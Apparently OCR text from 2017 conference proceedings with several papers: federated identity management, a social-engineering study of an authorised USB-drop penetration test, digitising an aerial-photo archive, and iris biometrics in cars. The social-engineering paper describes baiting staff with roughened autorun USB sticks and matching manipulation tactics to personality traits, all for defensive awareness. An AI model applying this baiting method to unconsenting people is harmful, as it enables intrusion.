that every user interaction is truthful and rightful, dis-
tributed identity systems use federated identity (“web of
trust”) or brokered identity (“trusted third party”).

2. OVERVIEW OF THE FIELD OF RESEARCH

As a leader in IT Security field with a wide range of
security solutions, IBM provides security intelligence,
helping companies protect their people, systems, data and
improve their business. Security solutions for identity
and access management include IBM Security Access
Manager, IBM Federated Identity Manager, IBM Security
Identity Manager, IBM Security Privileged Identity Man-
ager, IBM Security Identity Governance, IBM Security
IAM Cloud.

Although confidentiality, integrity and availability are
crucial parts of every security system, the CIA concept is
not enough in the digital business world. Digital explo-
sion, interconnectedness of different systems, devices and
the growing evolution of Internet of Things pushed the
digital world into a physical world.

Protecting information is not enough, as providing
safety for both people and their environments must be
equally important. As a result, CIA concepts are to be
expanded with one key component - safety. Necessity
to protect not only the digital world but also a physical
one is inevitable.[5]

CONFIDENTIALITY'

AVAILABILITY

Fig. 1. “CIAS” model of digital security

The concept of safety includes both people and as-
sets. Safety of people is very important, and with proper
training, employees will know how to prevent physical
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unauthorized access, avert danger or disaster, react
quickly and respond as a team. Safety of assets implies
the physical security mechanisms such as locks, fences,
surveillance, lighting etc. Both data and physical security
play an important role in IT security, ensuring that with
secured systems and with secured work environment
high level security can be achieved.

Business data are now distributed via different
dynamic environments, detached from the traditional
enterprise. Managing risk is a crucial part in securing
business data and making sure that businesses will have a
desired outcome. Risk based approach will ensure flexible
and responsive security solutions, adopted for business
needs. Risk-Adjusted Value Management model can be
created, integrating I'T risk into corporate performance. As
aresult, the risk is addressed and business value is added.

=TV

Fig. 2. Risk-adjusted value management model

When designing security solutions, it is important that
security product is agile, modular, adopted for business
needs and that it ensures smooth administration and
usage. The main goal of identity and access solutions is
to safely boost businesses, employee productivity and
protect organization from inside and outside threats.
Benefits from implementing such solution are various:

¢ Secured environment, data and people

+ Effectiveness and efficiency

¢ Productive and motivated employees

+ Simplified administration and management

+ Reduced integration costs and pressure on sup-
port desks

Federated identity concept is based on the creation
of globally interoperable online business identity,
incorporating various applications and system identities. It
is more effective and efficient to use a single sign-on type
of accounts because a single user can have many accounts,
passwords and usernames across dozens of systems. User
weaknesses include slow input and forgetting of credentials,
and weak, attack prone passwords. Federated identity also
indirectly aims at improving the cost efficiency of a system,
because it removes the need for many administrative roles
which were needed within the previous system.
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This approach undermines outside attacker efforts to
compromise a system and also to halt a company workflow,
sometimes for several days in a row. From this point on
there is no need for creating and managing multiple
accounts, passwords and users from other systems.

Federation represents the set of business, technical and
policy agreements, allowing companies to interoperate
by using shared identity management.

Functionality is based on the trust infrastructure
implemented by the IBM Tivoli Federated Identity
Manager trust service. Each solution can also be deployed
separately, thus providing complete federation solution.

Identity Federated
lifecycle Provisioning
Identity .
federation Web Single
Sign-On
Access
Control
gtk Web Services
Security

Fig. 3. IBM Tivoli Federated Identity Manager
functionality

There are numerous benefits of implementing federated
identity management in business environments. Identity
management costs are reduced because companies only
manage access to data and do not have to manage accounts
or user account data that are not under their control. Using
only one global identity for authentication and navigation
through multiple web sites and applications improves user
experience. Because of the federated identities, seamless
integration between enterprise applications is ensured,
enabling end-to- end security and trust capabilities.

3. OVERVIEW OF THE PROPOSED
SOLUTION

IBM Identity and Access Management solution
provides modular all-in-one security solution that helps
companies protect their resources, make them easily
accessible, boost business productivity and lower the
integration costs. The modular nature of the IBM Identity
and Access Management is the core operating principle,
enabling a more scalable, flexible and maintenance
friendly solution.

The solution provides a procedurally simpler and
reduced risk approach to securing an uninterrupted
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user experience. This is achieved by shielding the vital
assets with the use of strong multi-factor authentication
and risk-based access. The IBM Identity and Access
Management consists of the core module (Security Access
Manager Platform), and can be extended by adding
additional license-based modules. The additional modules
are Advanced Access Control module and Federation
module.

IBM Tivoli Federated Identity Manager represents a
federated single sign-on solution, whose infrastructure
enables identity propagation through SSO capabilities,
eliminating the need for multiple user identities and
passwords. Identities can be federated through multiple
security infrastructures. The following deployment
scenarios are supported, while each scenario can be
deployed separately:

¢ Federated single-sign on

+ Web services security management
+ Provisioning

+ Identity token exchange

Federated single-sign on scenario facilitates crea-
tion and management of federated single sign-on envi-
ronments. Web services security management scenario
represents an authorization solution, ensuring that only
properly evaluated user requests can access resources
through different domains. Provisioning scenario en-
hances current provisioning solutions across the internet
by using web services standards. Identity token exchange
deployment scenario provides the transmission of user
credential information between different identity tokens.

During federation, business partners can have one
of two roles: identity provider or service provider. Iden-
tity provider is responsible for authentication of the user
and assertion of identity of that user for trusted business
partner - service provider. The assertion consists of au-
thentication statements, assuring that user is successfully
authenticated. Identity provider is in charge of account
creation, password management, provisioning and gen-
eral account management.

As aresult of a trust relationship between the identity
and service provider, identity information about user is
trusted and service provider delivers the required service
or information to the user. Trust relationship is ensured
by cryptographic keys used to encrypt and sign messages.
By doing identity tasks, identity provider relieves busi-
ness partners (service providers) from redundant identity
management. Identity and service provider reduces the
identity and access management cost and improves user
experience.
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Fig. 4. End-to-end user life cycle management

Federated single sign-on is a process where the user
authenticates to the business partner - identity provider. If
the user is successfully authenticated, the identity provider
affirms user’s identity to the service providers, granting
him federated access to applications and services. In order
to accomplish interoperability both sides must agree upon
technical terms.[2]

Firstly, format and content of the security token needs
to be managed. The security token generated by one
partner needs to be acceptable for the other partner.
The terms on which information is sent inside the token
and how it is interpreted must be agreed on. Generation
and consumption of security tokens in Tivoli Federated
Identity Manager are managed by the trust service and
invoked by the SSO protocol service.

Secondly, the single sign-on protocol needs to be
managed. SSO protocol specifies the communication
between the parties. It describes how a client requests and
presents a security token and how a token is defined. SSO
protocol messages in Tivoli Federated Identity Manager
are managed by the SSO protocol service.

On the communication layer, all communication and
HTTP messages are managed by the point of contact
server, in Tivoli Federated Identity Manager, that is,
WebSEAL web server. On the protocol layer, SSO messages
are exchanged with the third-party through the point of
contact server. On the trust layer, security tokens are
exchanged between the Tivoli Federated Identity Manager
and the third party through the SSO Protocol Service.

Presently, companies are striving to embrace busi-
ness on demand solutions. The business model needs to
be responsive, adaptive, focused and resilient. In order
to do so, deconstruction of the enterprise is inevitable.
Deconstruction of infrastructure to partners, custom-
ers, suppliers can be accelerated by implementing open
standards and service oriented architecture. Open stand-
ards are the key components that enable interoperabil-
ity between different systems, services and applications.
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Fig. 5. Single sign-on components and communication
between layers in IBM Tivoli Federated Identity Manager

With a wide range of supported open standards
and cryptographic protocols, Tivoli Federated Identity
Manager provides security customization and web ser-
vice protection. Authentication information is managed
through security open standards based identity and se-
curity tokens. Security token service (STS) is built into
Tivoli Federated Identity Manager. It enables the identity
mediation services, allowing the managing, mapping
and propagating identities.[3] The module expands on
the capabilities of the core federation solution for SSO
and identity mediation for enterprise applications as well
as SaaS.

IBM Tivoli Federated Identity Manager provides
support for SAML 2.0, OpenID connect, OAuth, WS-
Federation, WS-Security, WS-Trust, Information Card
Profile, IBM Resource Access Control Facility, SHA-2,
X509, Kerberos tokens.

Advanced Access Control Module has risk-based ac-
cess capabilities, calculating the risk and protecting the
information flow. Risk-based access enhances security of
authentication and authorization mechanisms, estimates
the risk and calculates the risk score. As a result, new
policy rule is created and it determines whether user’s
request to access information will be permitted, denied
or challenged to continue further authentication. The
module is activated by explicit usage of an IBM license.

Integrated audit data collection and reporting gener-
ate the audit logs, tracking and incident reports to aid
compliance activities. Tivoli Federated Identity Man-
ager enables two- factor authentication with One-time
password (OTP) capability. OTP improves authenti-
cation mechanism and can be implemented through
configuration. The functionalities of the utmost impor-
tance for this module are OAuth support, context-based
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access, fingerprinting, multifactor authentication and
device registration.

The business ecosystem needs to be carefully designed
and connected. Federated SSO extends the availability
and accessibility of applications to business partners,
customers and consumers. As a result, resources are pro-
tected, easily accessible and the system integration cost
is reduced.

As the digital era continues to grow and expand, the
cyber security threats continue to evolve and adapt, cre-
ating a massive damage in digital economy. The uncon-
trolled and unsecured growth of Internet of Things will
continue to threaten cyber security. If not secured, the
increased growth of botnet networks made up of hacked
IoT devices will produce a massive DDOS attacks. Physi-
cal security measures are going to be upgraded, in order
to prevent insider attacks and use of external devices that
are brought to fulfill one purpose - infect the system with
malicious software.

The threat of ransomware has increased its potential
to grow and become more frequent in 2017. Attackers
will use more complex and sophisticated cryptographic
algorithms. As enterprise data are more and more shifted
towards cloud, the ransomware attacks will change focus
on cloud systems. Cloud and mobile will definitely be-
come common targets for various attacks and its security
mechanisms will be questioned.

Business Email Compromise attacks are going to be-
come more frequent and if employees are not aware of
these types of attacks, serious damage can occur. CIAS
concept and modern education techniques are the key fac-
tors in protection against these types of attacks. Employ-
ees must be aware of phishing techniques and properly
trained to respond in critical situations.

Predictive analytics, machine learning and artificial
intelligence will be essential parts of every security solu-
tion. These concepts will produce security solutions that
are more intelligent and enable them to learn from previ-
ous activities so they can predict and prevent attacks on
time. Adaptive and behavior based authentication will be
commonly used, providing more effective and efficient
authentication mechanisms.

,» Companies will seek to quantify the costs and benefits
of new technologies versus cost and likelihood of a breach,
as information security becomes less an IT problem and
more a risk management problem. “ [10]

The cognitive era is coming and only business models
which are agile, adaptive and secured will have the ability
to successfully run a business and have a desired outcome.
Rise of cyber risk management will have a great impact on
businesses and become essential part of IT security.
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4. CONCLUSION

In this paper, the concept of federated identities has
been presented. Detailed insight in the field of research
shows the modern approach regarding IT security prin-
ciples and describes importance and a significant impact
that federated identities have on IT security and business
ecosystem. IBM security solution has been presented
with detailed explanation of its structure, functionality
and benefits.

Today, customers and companies are more and more
reliant on well-structured interoperable systems in which
the aspect of security solutions is significant. This ensures
the greater and safer flow of information, especially con-
sidering the immense presence of large multinational
corporations on the Internet.

The concepts of federated identities and access man-
agement will serve as pathways that will enable organiza-
tions to interconnect, giving lead to business productivity.
IT security experts must be aware of the necessity to shift
focus from designing more complex and secure systems
to federation driven identity and access management and
people-centric security, making systems more adaptive
and resilient.
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Abstract:

The use of methods of social engineering is a significant threat to the security
of ICT systems. There are different methods of social engineering that can be
applied depending on the means used. The main drawback of used methods
is that the attacker comes into contact with the victim, usually in person or
through various social networks. The method that we tested is based on the
use of USB memory that is very effective, and there is no contact between
the attacker and the victim. Taking into account the results of this study it
is possible to improve safety awareness of employees and prevent or reduce
the effects observed to attack ICT system.

Keywords:
Engineering, hacking, scripting.

1. INTRODUCTION

In this paper we are going to present a combined attack to ICT system.
Information systems are constantly exposed to different threats including
threats of using social engineering methods from the attacker. Different
methods of social engineering (SE) are used but with the same goal. Attack-
ers are trying to induce someone who has legal right to access the system
to do some actions that will compromise the system. In this text we will
use SEPF model to explain reasons of social engineering success based on
socio-psychological factors. After that the attacker is going to exploit cre-
ated vulnerability for unauthorized access to the system and compromise
data or system as a whole. It is easy to imagine how much damage could
be done to the system by the attacker if he succeeds to access the system
in an uncontrolled manner. If using social engineering methods, attacker
can use different approaches to the victim which will be described in the
text. The attacker usually uses online approach which means that attack-
ers have to bypass many network security measures including: firewalls,
antivirus and antimalware software, intrusion detection system and so on.
This is not an easy task and sometimes it is virtually impossible. From the
other side attacker can also use a personal approach to the victim. The
probability of success depends on the victim’s psychological characteristics
and profile as well as on the attacker’s capabilities and skills. The main
disadvantage of personal approach is that the victim could recognize the
attacker later on. The method that we are testing doesn’t require personal
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contact and there is no need for bypassing the network
and system obstacles. The attacker considers conditions
and circumstances under which the victim will take un-
secured USB memory stick and plug in USB into the
computer. A different kind of auto run malware could be
implemented on USB. In the paper we will present a real
tested case which was unexpectedly successful.

2. SOCIAL ENGINEERING - METHODS AND
GROUNDS

SE is a phenomenon closely connected to dynamic
technological changes. We can define it as a psychological
manipulation of people with the intention to take advan-
tage of their personal or organizational data. Common
aims of SE attacks are: information gathering, fraud or
system access. Usual elements of most of SE activities
are: intended influence on users and human error or
weakness that enables success of SE attack. In nearly 90%
of incidents success of SE attacks are based on human
faults or biases in decision making which lead to breaking
standard security procedures [1] [10] .

Cialdini defines six principles used by SE attackers
when they approach their victims: authority, commit-
ment and consistency, reciprocity, liking, social proof
and scarcity. Authority as a SE principle addresses peo-
ple’s habit to comply with authorities, even when they
are persuaded to behave in a way different than their
own beliefs [9]. Commitment and consistency are used
by social engineers when they persuade behavior of a
victim based on its identity, strong personal beliefs and
habits [9]. In this case social engineers assume relatively
predictable behavior of victims.

Reciprocity is based on a social norm that motivates
people to compensate material or immaterial value re-
ceived from others. Liking is an influence principle based
on people’s need to create and maintain social relation-
ships. People have positive attitude towards others, so
they could be , liked back® In a case when attackers show
positive emotion towards a victim, they expect reciprocal
reaction. Social proof is based on someone’s need to be
socially accepted. It can also be demonstrated in the case
of alike opinions, when people trust others without any
other reason. This principle is especially important in the
case of decision making with high risk of loss. It is also
successful in the case of relatively closed social groups
with high level of mutual trust among their members.
Finally, scarcity as a principle increases subjective value
of goods or services, so it is a strong influence principle
that can be used by a social engineer attacker. If something
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is relatively rare, a person will tend to perceive it as more
valuable. It influences individual tradeoffs and approach
to risky situations. Our example of SE attack is based on
scarcity as principle of influence.

3. EMPLOYEES AS VICTIMS OF SE
ATTACKS AND ORGANIZATIONAL SE
VULNERABILITY

On corporate level, SE targets are employees, but the
purpose of attack is reaching organizational resources
or damaging organizational image for economic and
non-economic reasons. Human, organizational and de-
mographic factors can make an organization more or less
vulnerable to SE attacks. Over 40% of security officers
think that the greatest security threats in companies are
employees who accidentally jeopardize security through
data leaks or similar errors [10]. Social engineering fo-
cuses on weak spots of employees” behavior and habits
and use it to avoid or break cyber security systems. One
of the methods that can be used for organizational SE
vulnerability assessment is penetration testing. Penetra-
tion testing (pen test) is a practice of checking IT systems
that SE attackers could misuse. There are three main
types of pen tests:

+ Black box penetration testing,
¢  White box penetration testing and

+ Grey box penetration testing.

In the case of black box penetration testing a tester
has no information on the system he needs to test. The
aim of the mentioned attack is gathering information
on the tested system. However, White box penetration
testing provides a wide range of information on system
or network that should be tested (IP addresses, codes,
schemes etc.). It simulates internal attack carried out by
employees. Grey box penetration testing provides limited
information to the tester. It can simulate external attack
by someone who has already collected certain organiza-
tional security information. Grey box penetration testing
is considered to be the best testing option if the tester is
an external subject, considering cost/benefit analysis and
security protection of potential information misuse risk.

Humans are the weakest link in the security chain so
the security awareness program is of great importance
while implementing security policy in the company. Cor-
rectly implemented security awareness program supports
the organization with training, supervising and continu-
ous improving of security awareness in the organization.
Security awareness training should be composed of the
following elements [6]:
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¢ Organizational Security Awareness.
¢ Security Awareness Content.

¢ Security Awareness Training Checklist.

4. SOCIO-PSYCHOLOGICAL FACTORS OF SE
ATTACKER-VICTIM INTERACTIONS

Social Engineering Personality Framework (SEPF) [9]
can be used for analysis of SE victim’s behavior. It explains
socio-psychological factors that enable specific influence
principles successful in SE interactions. We use it to con-
nect different kinds of SE attacks with personal traits of
victims. In the SEPF model, Cialdini’s principles of social
influence used by social engineers are matched with the
Five-Factor Model (FFM), also known as the Big 5 [5].
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Fig. 1. SE Personality Framework (SEPF), [9]

FFM consists of five broad personality dimensions
or traits that can be further split into several sub-traits.
Conscientiousness is related to continuance commit-
ment and focuses on: competence, self-discipline, self-
control, persistence, dutifulness and following standards
and rules. Extraversion is related to positive emotions,
sociability, dominance, ambition and excitement seeking.
Extraverted people are seen as highly vulnerable to SE
attacks since they are more likely to violate cyber security
policies [4] [9].

Agreeableness is also connected to a high level of SE
vulnerability. Phishing is a SE method which particularly
addresses this personality trait [3][9]. Agreeableness de-
creases a chance of breaking IT security rules, so overall
SE vulnerability cannot be easily evaluated. Openness to
Experience is related to influences approach to general
IT security risk. Openness as a trait influences someone’s
risk evaluation so they are easily becoming SE targets [9].
At the end, neuroticism is seen as the least vulnerable
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personality trait in this case. According to SEPF model,
neurotic individuals are more ready to respect cyber
security policies. They are also more sensitive towards
privacy issues, so neurotic persons are not seen as easy
targets of SE attackers (Figure 1).

In the SEPF model, all influence principles are con-
nected with specific personality traits, categorized through
standard ,,Big 5“ classification (FFM), shown in the Figure
1. The given influence principles are specifically successful
in interaction with victims who have related personality
traits. For example, extroverted persons are vulnerable
when attackers use liking, social proof and scarcity as
influence principles. Contrary to it, neuroticism is not
connected with any given influence principle. If SE at-
tackers are aware that some personality traits are more
vulnerable to certain kinds of influence, they will be able
to adopt their strategies and be more successful with their
attacks. On the other side, this model can be used to de-
sign cyber security systems in groups or organizations,
based on personality traits of its members or employees.

5. EXPERIMENT DESCRIPTION AND
RESULTS ANALYSIS

A security assessment project, which was launched
because of massive data leakage from a company, will be
explained here. Security testing was performed in a Com-
pany which deals with tourist and hospitality industry.
The company has 50-100 employees and it is placed in
Johannesburg, South African Republic. The Company
has three main organizational parts:

1. Department with tourist agents that communicate
with clients.

2. Administrative and support department.
3. IT department.

Several activities were taken, including some forensic
methods and engagement of the security forces. One of
the segments of testing was testing by using SE methods.
SE was an introduction step for Grey box penetration test-
ing and breaking attempt into corporate IT system. Top
management of the Company was completely informed
about investigation and testing activities, but employees
didn’t have any knowledge about the testing itself, neither
about the methods that were taken. The only technical
person who was informed was the chief of IT and he was
required to keep information confidential until testing
was completed.
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Number of Structure of emploZees by Structure of employees by
employees Education in % Sexin % Number of Number of
Department In % — USB sticks plug-in
Vlegres¥ High school Female Male taken attempts
1 73 39 34 51 22 5 7
2 23 11 12 18 5 3 5
3 4 4 0 0 4 0 0
Total 100 54 46 69 31 8 12

Table 1. Structure of employees and number of USB sticks taken

Several activities were taken, including some forensic
methods and engagement of the security forces. One of
the segments of testing was testing by using SE methods.
SE was an introduction step for Grey box penetration test-
ing and breaking attempt into corporate IT system. Top
management of the Company was completely informed
about investigation and testing activities, but employees
didn’t have any knowledge about the testing itself, neither
about the methods that were taken. The only technical
person who was informed was the chief of IT and he was
required to keep information confidential until testing
was completed.

Like preparation for testing, the testing team got lay-
out of the building and access paths for pedestrians/
employees. The testing team also got information about
the environment: bushes, trees, flower pots, lamps and
other objects near the access paths. At the same time the
team purchased ten USB memory sticks, from different
manufacturers and different shapes and colors.

The next phase was installing auto run script to USB
memory, invisible for the user. The script was designed to
PING the server, and let server know that it is present in
the system. If a real attack was launched, the script would
be malicious and harmful [2][8]. Also, some insignificant
documents, pictures and video clips were placed on USB
sticks as well. In the final phase of preparation USB sticks
were sanded a little bit to look like used. After that USB
sticks were placed at carefully chosen places near the
access paths as it had to look like somebody dropped
them accidentally. Placement of USB was done before
working time and before employees started arriving to
the Company.

Eight USB memory sticks were found and plugged
in company computers 60 minutes after the morning
shift had begun. Five employees plugged USB once,
two employees plugged in USB twice and one employee
plugged in USB three times. The largest amount of USB
memory was taken by male employees with University
degrees although female employees were the majority in
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the company. The three time attempt of plug-in was done
by mail. Nobody from IT department either took USB or
plugged in USB into Company computer.

Management of the Company was informed about
results and had in mind that there were no bad intentions
of the staff. The testing team suggested to management
that two main types of measures should be taken:

1. Improvement of knowledge and security
awareness of employees

2. Technical measures for limitation of using USB.

Technical measures were relatively easy to imple-

ment but working with employees was and still is a long

term process of rising security awareness.

6. CONCLUSION

Employees are the weakest point of a corporate cyber
security system, which is confirmed with our example.
We can conclude that IT proficiency is connected to
IT security awareness. In our case IT staff did not fail
penetration testing since they had high level of security
awareness. Other employees were not aware of security
awareness and potential damage which could be done.

Also, some other employee characteristics influenced
their behavior during the penetration testing. According
to the analyzed SEPF model, scarcity as influence principle
used by SE attacker is especially appropriate for people
with high level of extraversion and openness to experi-
ence. All of the employees who were SE victims came
from Sales department of the Company. It is consistent
with evidence of our penetration test.

The most important is analysis of components of suc-
cessful SE attack in the observed case. The reason of such
behavior of employees is given in detail in the text and
briefly in the conclusion. Having in mind the explanations
and results given in this paper, Company management
can significantly reduce the possibility of similar attack.
It si certain that technical security measures have to be
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implemented. In the observed case, USB memory stick has

to be limited to the official devices with defining permis-

sion of the employee’s right. Also, the Company should

implement a customized employee security awareness

training program. Since level of SE vulnerability in an

organization is influenced by various factors including

employee’s characteristics, security awareness trainings

for employees should be industry, profession and per-

sonality sensitive.
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Abstract:

The usage of aero photogrammetric methods in spatial data processing can
provide important researching information, such as: soil erosion or phenomena
of landslides, changes in forests and other vegetation, etc. The comparative
analysis of archive aerial photogrammetrical images (API) and the latest
aerial recording sessions can acquire information about the nature and trend
of the problem, as well as the conclusions for taking preventive and correc-
tive measures. This paper emphasizes the necessity and importance of the
digitization of the Military Geographical Institute (MGI) photogrammetric
documentation archive data in order to provide possibilities of using those
archive data for scientific research.

This paper, apart from introduction and conclusion, consists of three parts: general
information on MGI and photogrammetric documentation archive; general
information on analog to digital API data conversion process; the necessity and
importance of the MGI photogrammetric documentation archive digitization.

Keywords:
Military Geographical Institute, aerial photogrammetrical images, photogram-
metric documentation archive, digitizing, spatial analysis.

1. INTRODUCTION

The main objective of this paper is to represent for scientific and other
research the possibility of MGI photogrammetric documentation archive
data usage to scientific and general public. In addition to the main ob-
jective, the paper aims to draw attention to necessity and importance of
archive digitization. It is believed that archive digitization would provide
a better basis for protection and use of archive items, which represents the
initial hypothesis of this paper. The archive was established in 1950 and is
comprised of the aerial images of the Republic of Serbia territory as well as
the aerial images of the former republics of the Socialist Federal Republic
of Yugoslavia territory. Considering quantity, the aforementioned archive
is comprehensive, and according to the contents it includes a variety of
aerial images products: analog aerial images (films), photograms, slides and
other products derived from aerial images. The main and most important
contents of the archive are aerial images.

It is common that modern research of numerous spatial items and
for different purposes (scientific disciplines, businesses, etc.) require
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consideration of the prior situation. Therefore, this archive
provides both opportunity and benefits and can be used
in numerous ways, especially for scientific purposes.

However, most of the archive items, especially analog
aerial images, are in danger of complete disappearance,
on the chemical basis because of the self-accelerating
decomposition process. Therefore, implementation of
archive digitization, apropos analog to digital form con-
version is necessary as soon as possible.

2. GENERAL INFORMATION ON MGI AND
PHOTOGRAMMETRIC DOCUMENTATION
ARCHIVE DATA

The Serbian Armed Forces and the Ministry of De-
fence of the Republic of Serbia are supplied by MGI with
geotopographical materials, primarily topographic maps.
Moreover, other government organizations are supplied
by MGI's products, as well as the private sector and in-
dividuals. In addition to general tasks, MGI is achieved
through scientific research as an accredited institution
- research and development institute. In the section of
the general and scientific tasks MGI creates and archives
the results of aerial recording sessions such as: aerial im-
ages (negatives and positives), photograms, slides, photo
layouts and other product derived from aerial images. A
photogram represents a pair of consecutive aerial images
with longitudinal mutual overlap of 60%; it is also referred
to as a stereo pair (stereogram). A slide is a transparent
image with tones which correspond to reality. A photo
layout provides an overall recorded land oversight and
objectively in detail represents the situation of mutual
position of natural and artificial objects at the moment
of recording.

Archive was established with the intention to preserve
the most important results of aerial recording sessions, as
well as corresponding data and recording records (loca-
tion, scale, year, etc.).

Archive was established in 1950. Archive is located
in the room which is, for better functionality, divided
into two parts: working and storage part (Figure 1). The
working part is intended for performing regular tasks
within the archive competence (reception and issuance of
aerial images, maintaining recording records, scanning,
etc.) and there are stored photograms and slides. Aerial
images are housed at storage (archive) part of aforemen-
tioned room. The room is air-conditioned and meets all
formal requirements for operation and photogrammetric
documentation prevention.
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Fig. 1. Plan of the photogrammetric documentation
archive data

The oldest film in archive is called Split, Omis, ordinal
1 comprised of 34 aerial images and number of the first
aerial image is 3844. A significant part of the archive
(more than 70% of the photogrammetric material) ema-
nated as a result of photogrammetric survey of the former
Socialist Federal Republic of Yugoslavia for the produc-
tion purposes of topographic maps at the scale of 1:25.000
(TM25) and topographic maps of 1:50.000 (TM50).

Fig. 2. An image of an archive part

Military Geographical Institute has been destined to
keep permanently all negatives which were issued during
realization of military tasks. Therefore, nowadays there is
a possibility of comparing images of the same area which
were recorded during different epochs. That can pro-
duce meaningful conclusions about certain phenomena
and their changes over time. Furthermore, the old aerial
images which have undergone the process of modern
photogrammetric technologies can provide information
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about the area that could not be obtained at the time of
their genesis and initial processing.

3. GENERAL INFORMATION ON THE
CONVERSION PROCESS OF ANALOG
AERIAL IMAGES TO DIGITAL FORMAT

Archive data conversion process from analog to digital
format and their publication would be performed through
several phases:

¢ Scanning of aerial images

+ Designing, creation and input metadata

+ Linking metadata to scanned aerial images using

GIS tools and
¢ Web services publication.

In this case, it is optimal to use OGC 04-51 and OGC
04-52 standards [10], which explicitly include the scope
of archiving and cataloguing of digital aerial images in
accordance with the necessary web presentation require-
ments, searching and distribution, applying appropriate
Open Web Service.

The most complex step in archive digitization is scan-
ning of aerial images using specialized scanner at selected
resolution [1].

Fig. 3. An image of a type of photogrammetric
scanner [4]
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Further work would constitute an information system
and database creation which would be comprised of al-
phanumeric data expanded with graphical data (scanned
aerial images, flight plans, etc). This would establish data
organization and both processes and information would be
provided with useful information to beneficiaries - customers
of information system.

The possibility of establishing a “live” system which could
be updated, presented and connected to other systems in a
real-time would be effectuated by metadata linking from
database to GIS and WEB services.

AFS_Admin

o | v | [ ) -

Fig. 4. An image of database window with options
for aerial images management

4. THE NECESSITY AND IMPORTANCE
OF ARCHIVE PHOTOGRAMMETRIC
DOCUMENTATION DIGITIZATION

Considering the quantity and variety of archive items,
the necessity of converting from analog to digital form
is obvious. Likewise, in order to facilitate data searching
there is a necessity to create relevant database. Further-
more, digitization provides conditions for better recording
results preservation. The fact is that the film positives and
negatives subject to the unstoppable process of losing
individual properties and degradation over time. The
largest parts of the archive items are negatives and they are
especially sensitive. Obviously, negatives are more difficult
for storing in analog than in digital format and require
more storage space. Moreover, negatives are inflammable
and are kept only in one sample, as opposed to digital
format which can be easily multiplied and copies could
be stored at different and remote locations.

The importance of archive digitization, especially the
greater part which relates to aerial images is multifaceted.
Firstly, it may be presented through faster searching, easier
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selection and download of required images, as well as
the possibility of web services presentation. Therefore,
archive digitization should create the basis for establish-
ment of MGI's aerial survey and aerial images infor-
mation system. Such information system will be easily
accessible to the widest range of users, firstly searching
and ordering-download. Further use of archive data,
depending on requirements, can also be multifaceted.
This paper emphasises the possibility and importance
for the purposes of multidisciplinary character scientific
research [2],[3],[6],[7],[8],[9].

Fig. 5. Types of tubes for aerial images and lids labels
CONCLUSION

Using aerial survey methods and analysis of aerial
images provides a good basis for a variety of geospatial
research. The most interesting might be research intended
for monitoring purposes: environmental, geographical
factors, economic activities (tourism, forestry, water man-
agement, etc.). Compared to other geospatial data col-
lection methods, including satellite imagery, undoubted
are the advantages of this method. The most important
are: full operational autonomy, data (image) quality, price
and the use of images from substantially earlier record-
ing periods. This type of researching is actual and pre-
sent in many countries, especially the developed ones, as
evidenced by a number of scientific papers published in
prestigious journals. There is a universal understanding
and internationally shared vision that national, scientific,
cultural and historical significance is based on permanent
preservation and retention of the aerial survey results.
This importance is even greater considering the fact that
MGI was the indigenous founder of photogrammetric
survey methods application and since then has been a
leader in its application (during a certain periods MGI
had a sole aerial survey service). Therefore, the presenta-
tion of MGI's archive photogrammetric documentation,
perceiving the importance and possibility of scientific and
other purposes of using and consideration of the necessity

Sinteza 2017
submit your manuscript | www.sinteza.singidunum.ac.rs

of its digitization constitute the objective and represent
the subject of this paper.
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Abstract:

Biometrics is used for unique identification of individuals. The identification
can be done in two ways depending on the input, unique biological features
or behavioral characteristics. Iris recognition is a method of biometric iden-
tification which is based on pattern recognition techniques. It provides high
level of security and reliability, which makes it suitable for application in
many areas. This method is intended to be used in one-to- many searching
environment with stability as its main characteristics. The iris recognition
method is based on high resolution images of the iris. It uses camera and
IR illumination in order to eliminate or reduce reflection from the convex
cornea and to obtain detailed rich images of very complex structure of the
iris. Then, the images are converted into digital templates and stored in the
biometric system database for future matching. In some cases, the efficiency
of the iris recognition may be disrupted by eyeglasses or contact lenses, which
can result in mismatching of the sample and the stored template. This paper
deals with the implementation of the iris method in automotive industry in
the area of safety and security.

Key words:

Biometrics, iris, security, recognition systems, automotive safety and security,
eye tracking.

1. BIOMETRICS

Biometrics is a science that deals with measurable biological char-
acteristics and/or behavioral characteristics. This term comes from the
Greek words bios (life) and metron (measure). Standardized definition of
biometrics is “automated identifying individuals based on their behavioral
and biological characteristics” (Bidgoli, 2006). Some of the most common
biometric physical characteristics include: fingerprints, hand geometry, iris,
retina, facial features, thermograph face, vascular patterns (arrangement
of veins), smell and DNA. Examples of behavioral biometrics include:
signing, mouse tracking, walking and typing on the keyboard. Biomet-
rics was regulated and defined in accordance with the ISO (International
Organization for Standardization) requirements.

Fingerprint biometrics has a wide range of applications in the areas
of civil society, military industry, legal proceedings, etc. One of the most
important methods that biometrics heavily relies on is the Fingerprint
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Scanning. This biometric method is based on enroll-
ment databases, which are used in protection of the in-
ternational borders, criminal identification, and identity
recognition. [1]

Type Stability Accuracy Signal acquisition ~ Applications

Physiological Relatively ~ Accurate Easy Widely applicable to all

characteristics ~ stable three functions of
biometrics

Behavior Not very Somewhat  Easy Mostly used for

characteristics  stable accurate authentication, or combined
with other biometrics for

authentication/identification

Psychological Very Not Very difficult It is still in the early stage of

characteristics  unstable accurate development. Possibly used
for spoof protection in
extreme high security

environment

Fig. 1. Biometric characteristics comparison types

2. IRISAS AUTHENTICATION METHOD

Iris recognition method is considered to be the most
stable and reliable method of authentication. Therefore,
for the protection of a car against stealing, or in order to
prevent any manipulation with the car electronic system,
the iris method can be implemented as a part of the
system that is already integrated in the car. Iris system
of recognition is an automated method that is used for
identification. This method is based on mathematical
pattern recognition techniques of high quality images. It
scans one or both irises of an individual and the patterns
are unique and very stable. [2]

IRIS SEANNER AT REAR-MIRROR o —

b —
D

Py r READY TO GO

o

CONSOUEDISPLAY
4

Fig. 2. Iris in a car, iris scanner in a rear view mirror;

(source: https://venturebeat.com)

Characteristics of a well-implemented iris biometric
system include extracting a great number of individual’s
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unique features and a significantly reduced risk of storing
the same templates for two or more individuals. In 2013,
Apple integrated fingerprint sensors in their flagship
phones and other companies soon started following the
suit. In 2015, Fyjitsu/NTT DOCOMO introduced iris
recognition method in their smartphones which made
it possible for the users to unlock their phones just by
looking at them. Other big companies like Microsoft,
Samsung, HP recognized the potential of this method
and started integrating it in their products. Now, the
question is why not integrate the same biometric method
in connected cars?

Actually, we already have fingerprint recognition in
connected cars. The users just need to touch a certain
part of a car to complete the process of authentication.
For example, it can be one of the doors or the ignition
system. Where can the iris method be applied?

This method is intended to be implemented in con-
nected cars in cases where we want to avoid physical
